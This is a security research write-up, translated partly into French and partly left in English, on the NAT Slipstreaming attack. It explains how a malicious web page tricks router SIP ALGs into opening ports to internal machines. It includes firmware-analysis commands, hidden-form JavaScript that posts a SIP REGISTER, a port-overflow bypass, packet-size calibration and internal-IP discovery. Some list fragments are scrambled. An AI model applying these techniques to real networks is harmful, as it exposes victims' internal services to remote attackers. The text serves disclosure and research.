
NAT Slipstreaming permet à un attaquant d'accéder à distance à tout service TCP/UDP lié à une machine victime, en contournant le NAT/pare-feu de la victime, simplement en faisant en sorte que quelqu'un sur le réseau de la victime visite un site web.
NAT Slipstreaming permet à un attaquant d’accéder à distance à tout service TCP/UDP lié à n’importe quel système derrière le NAT d’une victime, en contournant le NAT/pare‑feu de la victime (contrôle à distance arbitraire des ouvertures de pare‑feu), simplement en visitant un site web.
v1 développé par : @SamyKamkar // https://samy.pl
v2 développé par : Samy Kamkar && (Ben Seri && Gregory Vishnipolsky d’Armis).
Lisez l’excellent article technique de Ben & Gregory sur v2 ici qui approfondit leurs mises à jour de v2 avec de nombreux détails supplémentaires.
v1 publiée : 31 octobre 👻, 2020
v2 publiée : 26 janvier 2021
Code source : https://github.com/samyk/slipstream
version animée ici générée avec mon fork de draw.io, permettant un flux de contexte de bord exportable et un contrôle dans les animations
NAT Slipstreaming exploite le navigateur de l’utilisateur conjointement avec le mécanisme de suivi de connexion Application Level Gateway (ALG) intégré dans les NAT, routeurs et pare‑feux, en enchaînant l’extraction d’IP interne via une attaque temporelle ou WebRTC, la découverte automatisée à distance de MTU et de fragmentation IP, le calibrage de la taille des paquets TCP, l’utilisation abusive de l’authentification TURN, un contrôle précis des limites de paquets, et la confusion de protocole par abus du navigateur. Comme c’est le NAT ou le pare‑feu qui ouvre le port de destination, cela contourne toutes les restrictions de ports basées sur le navigateur.
Cette attaque tire parti du contrôle arbitraire de la partie données de certains paquets TCP et UDP sans inclure les en‑têtes HTTP ou autres ; l’attaque exécute cette nouvelle technique d’injection de paquets sur tous les navigateurs modernes (et anciens), et constitue une version modernisée de ma technique originale de NAT Pinning de 2010 (présentée à DEFCON 18 + Black Hat 2010). De plus, de nouvelles techniques de découverte d’adresse IP locale sont incluses.
Cette attaque nécessite que le NAT/pare‑feu prenne en charge les ALG (Application Level Gateways), obligatoires pour les protocoles pouvant utiliser plusieurs ports (canal de contrôle + canal de données) comme SIP et H323 (protocoles VoIP), FTP, IRC DCC, etc.
À un haut niveau, NAT Slipstreaming fonctionne comme suit :
.local mDNS/Bonjour présentée ne sera pas utile pour l’attaque)img cachées vers toutes les passerelles courantes (ex. 192.168.0.1) sont chargées en arrière‑planonerror/onsuccess sont attachés aux balises imgonerror/onsuccessNous utilisons les NAT (Network Address Translation) pour plusieurs raisons. La fonctionnalité la plus utile du NAT est qu’il permet de partager une seule adresse IP publique entre plusieurs systèmes. Pour ce faire, il crée un réseau local, attribue des adresses IP locales à toutes les machines qui s’y connectent, et lorsque l’une de ces systèmes accède à Internet, il réécrit les paquets sortants pour utiliser l’IP publique, de sorte que les réponses reviennent au NAT, et vice versa, en réécrivant l’IP de destination en IP spécifique du client.
C’est la responsabilité du NAT de différencier les connexions vers les mêmes adresses/ports (google.com:443) provenant d’hôtes internes, car finalement leur port sortant, l’IP de destination et l’IP source seront tous identiques. Si deux pairs internes différents tentent de se connecter depuis le même port source, les NAT modernes modifient l’un des ports source (certains réseaux le font pour tous les ports source TCP/UDP).

D’après Wikipedia via Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
Si une machine derrière votre NAT envoie un paquet et que votre routeur s'attend à ce que l'hôte distant réponde, il garde une trace des informations, notamment les ports source et destination, les adresses IP source et destination, ainsi que votre IP interne, puis renvoie tous les paquets correspondant à votre IP interne.
Si un autre hôte sur votre LAN tente d'établir la même connexion avec les mêmes ports source et destination + IP, votre NAT ne pourrait pas la différencier (les IP sources sont différentes sur votre LAN mais sont réécrites en la même IP publique côté WAN), il modifie donc le port source, mais le réécrit lors du renvoi vers vous.
### Passerelle au niveau applicatif
Les ALG permettent au NAT de suivre un protocole multiport comme FTP depuis votre système vers un serveur FTP, puis de suivre lorsque vous demandez l'envoi d'un fichier vers votre IP interne sur un port spécifique. L'ALG peut réécrire le paquet pour inclure votre IP publique, puis rediriger la connexion du serveur FTP vers vous. S'il n'avait pas réécrit votre IP, le serveur FTP essaierait de se connecter à vous sur votre IP interne (ou n'essaierait pas du tout s'il s'attend à ce que l'IP source soit la même que celle de la connexion de signalisation).
D'après [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
Je voudrais d'abord voir comment les passerelles courantes traitent réellement les paquets et les protocoles multi-ports comme FTP, SIP, etc. Pour ce faire, nous voudrons rétro-ingénierer le firmware des routeurs courants. Nous pourrions extraire la flash des routeurs physiques, mais si nous pouvons obtenir un firmware non chiffré des fabricants, nous pourrons étudier plus de modèles de routeurs et beaucoup plus rapidement.
Nous allons commencer avec un routeur courant, le Netgear Nighthawk R7000. Une recherche rapide nous aide à trouver un article Netgear avec un firmware récent. Une fois que nous téléchargeons le firmware et le décompressons, nous trouvons un fichier de 30 Mo appelé R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

La commande `file` ne détecte aucune [information magique](https://www.wikiwand.com/en/Magic_number_(programming)), nous pouvons donc utiliser [`binwalk`](https://github.com/ReFirmLabs/binwalk) pour analyser le fichier à la recherche de données imbriquées.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

J'utilise macOS et binwalk dépend de certaines applications Linux par défaut, ce qui ferait échouer binwalk -e (qui extrait les fichiers), donc je procède à l'extraction manuellement (et j'adore le golf en Perl).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
Ou utilisez [`inout`](https://github.com/samyk/samytools/blob/master/inout), par ex. `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
Vous pourriez utiliser `dd`, cependant vous voudriez un grand `bs` (taille de bloc) pour qu'il produise une sortie rapidement, par ex. 1024, cependant l'attribut `skip` (pour lui dire de commencer à l'emplacement du blob squashfs) respecterait la taille de bloc et 2221098 n'est pas évidemment divisible par quoi que ce soit rapidement dans ma tête autre que 2...maintenant je suis curieux.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
Décompressons maintenant le système de fichiers squash. J'ai créé un fork d'un fork de squashfs-tools qui fonctionne sur macOS et prend en charge lzo. Vous devrez peut-être également installer xz et lzo. Sinon, vous pouvez utiliser sasquatch sous Linux.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
Et enfin nous pouvons décompresser le squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
Nous avons maintenant l'OS brut à explorer !
Voyons maintenant si nous pouvons trouver des fichiers pertinents pour FTP, car c'était un protocole très utilisé, donc le support ALG sera abondant sur les routeurs. J'utilise mon g tool qui n'est qu'un wrapper pratique autour de egrep.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
Rien d'intéressant, donc utilisons `g` pour les fichiers binaires dont le contenu correspond à /ftp/, en ignorant certains fichiers dont nous n'avons que faire.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g scanne récursivement le répertoire de travail actuel par défaut. -l permet d'afficher uniquement les noms de fichiers (car ils seront principalement binaires), -a pour analyser les fichiers binaires, ftp pour le texte à rechercher, et -v '\.(html?|js|gif)$|www/|bin/' pour ignorer les fichiers web et exécutables (situés dans (s)bin/).
Tous les fichiers lib/lib*.{a,so}{.*,} (format bash) ne sont pas intéressants, alors scannons à nouveau avec less:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### Exploration de fonctions potentiellement utiles
D'accord, deux fichiers intéressants -- `lib/modules/tdts.ko` pourrait être lié, et `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` n'est probablement pas lié mais semble intéressant ! J'étudierai peut-être cela plus tard.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
Super ! Un objet kernel (.ko) avec des fonctions ftp, et avec des mots comme « port », il est probablement lié à un ALG FTP. La RFC 959 FTP explique la signification de la commande PORT :
La commande PORT est émise par le user-PI vers le server-PI et spécifie le port de données à utiliser pour la connexion de données. Il existe des valeurs par défaut pour les ports de données de l'utilisateur et du serveur, et dans des circonstances normales, cette commande et sa réponse ne sont pas nécessaires. Si cette commande est utilisée, l'argument est la concaténation d'une adresse hôte Internet 32 bits et d'une adresse de port TCP 16 bits. Ces informations d'adresse sont divisées en champs de 8 bits et la valeur de chaque champ est transmise sous forme de nombre décimal (en représentation de chaîne de caractères). Les champs sont séparés par des virgules. ... Notez les différentes significations...``` DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### Ports / Services à Examiner
Bien que nous ayons trouvé quelques fonctions FTP, nous sommes plus intéressés par les ports que nous pouvons utiliser. Les navigateurs modernes empêchent les connexions HTTP(S) sortantes vers un certain nombre de [ports restreints](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), y compris FTP, donc abuser de l'ALG FTP est probablement impossible.
En 2010, lorsque j'ai [démontré le NAT Pinning](https://samy.pl/natpin/) pour la première fois, j'ai utilisé le port 6667 (IRC) via les messages DCC CHAT/FILE. Rapidement, les fournisseurs de navigateurs ont bloqué le port 6667... bien que certains aient utilisé un uint32 (entier non signé de 32 bits) pour stocker le port, vérifier si le port était bloqué, et si ce n'était pas le cas, se connecter. Pour contourner cela, il est important de noter que les ports TCP sont sur 16 bits, donc si vous ajoutez 2**16 (65536) au port « restreint » de votre choix, dans ce cas 65536+6667=72203, le navigateur stockerait 72203, il passerait la restriction de port (72203 != 6667), puis serait envoyé à la pile TCP où il serait tronqué sur 16 bits, ce qui est le port restreint que nous voulions !
Mon simple [`base calculator, 3`](https://github.com/samyk/samytools/blob/master/3) montre ceci (db = dec -> bin) :```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
On peut mieux le voir avec mon outil diffbits, un outil simple pour visualiser les similitudes et différences entre des chaînes de bits, ainsi qu'entre plusieurs groupes de chaînes de bits, utile pour rétro-concevoir des protocoles binaires propriétaires.

Allez-y et ouvrez votre désassembleur préféré. J'ai utilisé Ghidra de nos amis de la NSA car il est gratuit et open source.
Certaines des fonctions que nous avons vues dans tdts.ko via strings étaient ftp_decode et ftp_decoder, il est donc possible que d'autres ALG aient une fonction _decode. Regardons...

D'accord, tout un tas de fonctions _decode... en défilant, l'une d'elles est intéressante : sip_decode.

En vérifiant nos ports navigateur restreints, nous voyons que le port 5060, le port SIP par défaut, n'est pas restreint dans Chrome :)
SIP utilise TCP/UDP 5060, mais les médias comme RTP (audio) sont envoyés sur des ports alternatifs générés à la volée. Lors de l'envoi d'une requête d'appel SIP, votre client SIP choisit un port aléatoire, l'ouvre et l'inclut dans l'en-tête SIP. Votre NAT devrait également le voir et l'ouvrir, en supposant que l'ALG SIP est activé (ce qui est le cas sur la plupart des routeurs par défaut).
En supposant que les NAT lisent les paquets SIP ligne par ligne (SIP est basé sur les lignes comme HTTP et n'est pas un protocole binaire), peut-être qu'il ignorera l'en-tête HTTP et qu'une fois arrivé aux données POST, il lira le REGISTER et croira qu'il s'agit d'un paquet SIP. Cela a fonctionné dans notre version de 2010 pour le DCC IRC. Le NAT a ignoré l'en-tête HTTP et a simplement analysé la commande DCC IRC.
Chose amusante, cela nous a également permis de faire en sorte que les utilisateurs visitant notre site se connectent à un serveur IRC légitime, rejoignent un canal et envoient un message depuis leur IP à leur insu ! :P J'ai démontré cette technique pour envoyer des e-mails à des serveurs de messagerie avec les adresses IP des clients avant que le port 25 ne soit bloqué par les navigateurs et avant que les enregistrements SPF ne soient courants... de la folie.
Maintenant, lors d'un test rapide, l'envoi d'un paquet SIP REGISTER sur le port 5060 via une requête HTTP POST ne semble pas fonctionner... peut-être que quelque chose manque dans le paquet.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
Si nous reniflons, nous voyons (analysé via [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)) :```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
Cependant, cela n'ouvre pas le port, et l'IP n'est pas réécrite comme on pourrait s'y attendre (plus de détails plus tard), donc il manque quelque chose.
Creusons davantage dans l'objet noyau. Dans le désassemblage, on voit le tag "SIP/2.0" d'un paquet SIP, il est donc probable qu'il y ait une analyse ici (ce que "decode" sous-entend).

Ah, voilà pourquoi ça échoue. Il semble qu'il exécute strncasecmp sur INVITE (analyse similaire sur REGISTER) — il compare (insensible à la casse, ce qui est intéressant car les INVITE SIP sont en majuscules) le mot "INVITE" au début du paquet et branche si non egal (instruction ARM bne) à 0, donc si les mots correspondent, l'ordre lexicographique sera 0 et on continue vers ct_sip_get_header qui semble intéressant, et on quitte sinon.
C'est le problème... même si on peut utiliser un navigateur web pour créer des sockets sortants (TCP via HTTP(S), UDP via TURN avec WebRTC), on n'a pas assez de contrôle sur le navigateur pour faire commencer la partie données TCP par le mot "INVITE", comme le module l'exige. Dans la version IRC de 2010, l'ALG IRC ne regardait que ligne par ligne, ignorant toutes les en-têtes HTTP, puis utilisait les sauts de ligne dans les données POST pour envoyer un "IRC DCC" valide. Cependant, cet ALG SIP est bien plus strict et il est impossible de contrôler le début de la requête. Si on utilise TLS, l'en-tête chiffrée commencera le paquet. Si on utilise HTTP, la méthode HTTP commencera le paquet (GET, POST, etc.). Peut-on exploiter ça d'une autre manière ?
Pour mieux comprendre le connection tracking et les Application Level Gateways, on peut observer leur comportement dans netfilter, la pile réseau de Linux. J'ai créé un graphique des ALG les plus courants et de leur comportement basé sur l'analyse du code source de Linux.

D'après ce graphique, les plus intéressants (que Chrome ne bloque pas) sont sane (sauvegarde), sip (voip), pptp (vpn) et h323 (voip). On choisira SIP car c'est l'un des protocoles les plus omniprésents, et on le voit déjà dans certains firmware de routeurs.
Linux a spécifiquement des fichiers nf_conntrack_*.c pour gérer le connection tracking par protocole, et nf_nat_*.c pour la modification des paquets (mangling).
On va jeter un œil rapide au module de connection tracking SIP
module_init(nf_conntrack_sip_init) initialise ce traqueur de connexion, appelant nf_conntrack_sip_initnf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) on s'attend à ce que la signalisation arrive via IPv4 AF_INET TCP IPPROTO_TCP port 5060 SIP_PORT... cela se produit pour UDP, TCP, IPv4 et IPv6sip_help_tcp(...) appelé lorsqu'un paquet TCP SIP correspondant arrive
process_sip_msg(...) si cela ressemble à un paquet SIP potentiel
Pour l'instant, on ne peut pas forcer le navigateur à établir une connexion TCP sortante avec le trafic qu'on veut, et il est nécessaire de créer un paquet TCP/UDP commençant par une méthode SIP comme REGISTER ou INVITE.
Flash permettait autrefois les sockets sortants, mais dans un format où on n'avait pas le contrôle total. Java nécessite une permission. WebSockets sont encore HTTP. TLS est chiffré. WebRTC (RFC 7742) est chiffré. STUN (RFC 3489) et TURN (RFC 5766) sont dans des formats fixes, et TURNS (RFC 7065) est chiffré.
À un niveau élevé, on ne peut pas contrôler le début du paquet TCP, mais si on envoie un paquet trop grand ? Il doit y avoir une taille maximale de paquet... au-delà de laquelle un paquet doit être fragmenté en plusieurs paquets. Si on peut faire déborder la taille du paquet TCP et contrôler précisément une partie des données, pourrait-on provoquer une segmentation du paquet et avoir nos données au tout début de notre prochain paquet, celui qui a débordé ?
Eh bien, on aurait besoin de connaître la quantité de données que le navigateur enverra, qui sera différente selon le navigateur, et même selon l'utilisateur car ils peuvent envoyer des en-têtes HTTP différentes. HTTPS ne fonctionnera pas car la majeure partie du contenu est chiffrée, alors qu'un POST HTTP nous permet de contrôler une grande partie de l'en-tête.
Pour obtenir la taille générale du paquet, on envoie un gros POST HTTP (6000 octets) avec un ID et des données de remplissage via un formulaire web caché vers notre http://our.attack.server:5060/pktsize. Sur le serveur d'attaque, on exécute un sniffeur de paquets qui recherche les limites de notre paquet pour déterminer la taille MTU (Maximum Transmission Unit), la taille de l'en-tête IP, les options IP potentielles, la taille de l'en-tête TCP, les options TCP potentielles, la taille du paquet de données, et la partie du paquet que l'on contrôle.
On exécute également un serveur personnalisé qui écoute sur le port TCP 5060, et répond avec du trafic HTTP pour apaiser le navigateur afin que rien ne semble suspect côté client (un serveur avec une réponse malformée provoquerait des erreurs dans la console, ou un serveur répondant incorrectement maintiendrait le spinner d'état).

On essaie en outre de contrôler la taille des données du paquet TCP en envoyant une option TCP Maximum Segment Size (mss) lors de la réponse SYN initiale pour manipuler les tailles des paquets sortants de la victime (RFC 793 x3.1). Cela indique à la machine victime de maintenir les paquets TCP à une certaine taille.

On peut faire cela sous Linux en ajoutant advmss <taille> à ip route. On utilisera 1500.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
Once we get the packets, we send the size data back to the victim client over a separate POST, which sent the victim's ID so we can correlate it with the original request from the victim. At this point, the client has a good idea of how to pad packets to cause arbitrary data to land at any specific location in a TCP packet.
### IP Fragmentation with UDP and TURN
Some NATs only allow UDP ports to be accessed if the SIP connection was originally UDP, so we use TURN in this case. TURN is a protocol supporting relaying for peer-to-peer communication like SIP and WebRTC. TURN is UDP while TURNS (TURN+TLS) is TCP. Modern browsers support TURN for WebRTC in case they can't make a direct peer-to-peer connection with each other for media sharing.
TURN allows authentication via username and password, the username is sent in cleartext. Interestingly, the username is not limited by any size or characters, so we can use this to perform the same type of packet overflow.
Since TURN is over UDP, the IP packet itself will get fragmented if overflowing over the MTU size (UDP doesn't support segmentation). The 2nd packet will have not only the data portion under our control, but the UDP header as well! This is not important for our attack, but is interesting and can definitely produce alternate attacks. Ultimately we can perform the same attack through UDP by aligning our packet boundary based off of calculated MTU size rather than MSS size, making our SIP UDP packet live on the 2nd packet boundary (with a fake UDP header prepended) allowing us to forward UDP ports back to our vitim.
## TCP Timing Attack / Internal Subnet & IP Discovery
Oh, this still won't work! In order for the ALG to treat it as a legitimate SIP packet, the IP address you're requesting data to come back on (in the [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13) SIP line) must be the internal IP (victim) the SIP packet came from, which we don't know. Only the router's public IP address is transmitted to our server (as the NAT rewrites the source IP when it exits the public side).
We see this check in Linux's `nf_conntrack_sip.c`'s [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260):

In [2010](https://samy.pl/natpin/), we used [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) which allowed executing Java code under some conditions from Javascript, extracting the user's local IP. That became obsolete pretty quickly.
On some browsers (Chrome, Firefox), we can use [WebRTC](https://www.w3.org/TR/webrtc/) to grab the victim's internal IP address via [ICE](https://tools.ietf.org/html/rfc5245) (which just use STUN/TURN/TURNS). These are protocols for helping peers behind NATs determine information about themselves. Ironically, no server needs to be used in the ICE "request" as the browser already knows its internal IP, and a remote STUN/TURN server wouldn't know it anyway unless the client sent it in the first place. The problem is not all browsers provide this mechanism.
As of today, using WebRTC to get the local IP address on Chrome, rather than a `.local` mDNS/Bonjour address, requires using HTTPS, but HTTP is necessary for the rest of the attacks, so we first detect if we're on HTTP and if not, rdirect to HTTPS. We then attempt to use WebRTC to extract the local IP address. Either way, we then redirect back to HTTP with the IP(s) appended to the URL to bypass cross-origin restrictions via other communication methods.
### Timing Attack
If using Safari, IE <= 11, or others that don't support WebRTC or intentionally don't reveal internal IP (Safari), we can use a web timing attack to reveal the victim's internal IP address.
We manage this by first producing hidden HTML `` tags on the page, all to common gateways (192.168.*.1, 10.0.0.1, and [others](https://github.com/samyk/slipstream/blob/main/server#L159)), along with Javascript `onsuccess` and `onerror` events. Each time an img is written to the page, a timer is started and if the `onsuccess` loads, that means the IP responded with a web server, and if no web server is running but the IP is on the network, it will send a TCP RST (reset, meaning port not open) back, triggering the `onerror`. If no IP exists, no RST is sent and the response will take > 1 second, at which point we know the IP doesn't exist on our network.
Once we see one of these events trigger, we know a potential internal subnet we're on, then we perform the same attack for every IP on the subnet (eg, 192.168.0.[2-255]), and this time perform a more precise timing to determine which IP responds **fastest**. This is most likely our own (victim) internal IP, as we don't even need to leave the network interface. Even if we aren't first for some reason, we still attempt our attack on all IPs that responded on the network.
## Browser Protocol Confusion
Once the client gets the packet sizes and internal IP address, it constructs a specially crafted web form that pads the POST data up until we believe the packet will become fragmented, at which point our SIP REGISTER containing internal IP address is appended. The form is submitted via Javascript with no consent from the victim. :)
[](img/pinpkt.png)
### Live Browser Packet Alteration
On our attack server, because we can see the packets come in, we look to see if the SIP packet was rewritten with the public IP address. If it wasn't, we communicate back the client (automatically) that the SIP packet was not on the expected packet boundary and not rewritten, and we provide the new boundary position from our sniffer.
The client code automatically adjusts its packet size to the new size only after two failures in a row. Some browsers (Firefox) will sometimes have a slightly different packet size due to the multipart-boundary they generate for the form, which unlike most other browsers, is not a fixed length. I find after about 10 tries, the same size will be used and the attack will succeed.
Once the SIP packet lands on the packet boundary, the NAT will be deceived, believing this is a legitimate SIP registration and from a SIP client on the victim's machine. Once our server responds with a proper SIP response (nested inside of a proper HTTP response to allow the browser to not detect anything fishy), the NAT will open up the port in the original packet we had the victim send and the router will now **forward any port the attacker chooses back to the internal victim, all from simply browsing to a website**.
Attack complete. Attacker can now connect to arbitrary TCP/UDP services running on victim.
# Other Findings
These are not used in this attack, but are interesting nonetheless and could potentially be used for other attacks.
- IP fragmentation allows full control of all data in the IP data section, meaning full control of a UDP header including source/dest ports in the overflowed packet
- victim IP stack reassembles and won't parse the data, however the NAT that the packet flows through will be susceptible
- allows bypassing browser or system firewall as only UDP port that's inspected is the original packet, not the overflowed fragmented packet
- DoS a SIP client by sending `Expires: 0` and removing conntrack for someone else
- If a port is already taken, port listened to is incremented until port overflows to 0
- STUN does not have authentication implemented in any modern browser
# Download
Thanks for reading! You can download the proof of concept code from my [NAT Slipstream github](https://github.com/samyk/slipstream).
# Contact
**Point of Contact:** [@SamyKamkar](https://twitter.com/samykamkar)
Find more of my projects at <https://samy.pl> or potentially reach me at <[email protected]>.
username de TURN
username spécialement conçu pour forcer la fragmentation IP et un contrôle précis des limitesusername est « bourré » pour correspondre exactement à la taille du segment TCP / à la limite du paquet, puis le « paquet H.323 » est ajouté et posté via le formulaire webprocess_sip_request(...)strncasecmp(*dptr, handler->method, ...) le gestionnaire quitte sauf si la méthode (ex: REGISTER) apparaît au début de la partie données du paquet (TCP ou UDP) comme on l'a vu avec INVITE ci-dessus...REGISTER est une autre commande SIPprocess_register_request(...)nf_ct_expect_init(...) via sip_handlers on initialise le trou de pare-feu (port pour permettre à la machine distante de se reconnecter), mais on ne l'ouvre pas encorenf_nat_sip_hooks -> nf_nat_sip(...) le NAT modifie aussi (réécrit) l'adresse IP interne du client en IP publique du NAT pour que la destination puisse l'atteindre correctementsip_help_tcp(...) -> process_sip_msg(...) ->
process_sip_response(...) maintenant on regarde la réponse SIP du serveur SIP
process_register_response(...) -> refresh_signalling_expectation(...) le port est redirigé par le NAT uniquement après qu'une réponse SIP valide est envoyée par le serveur SIP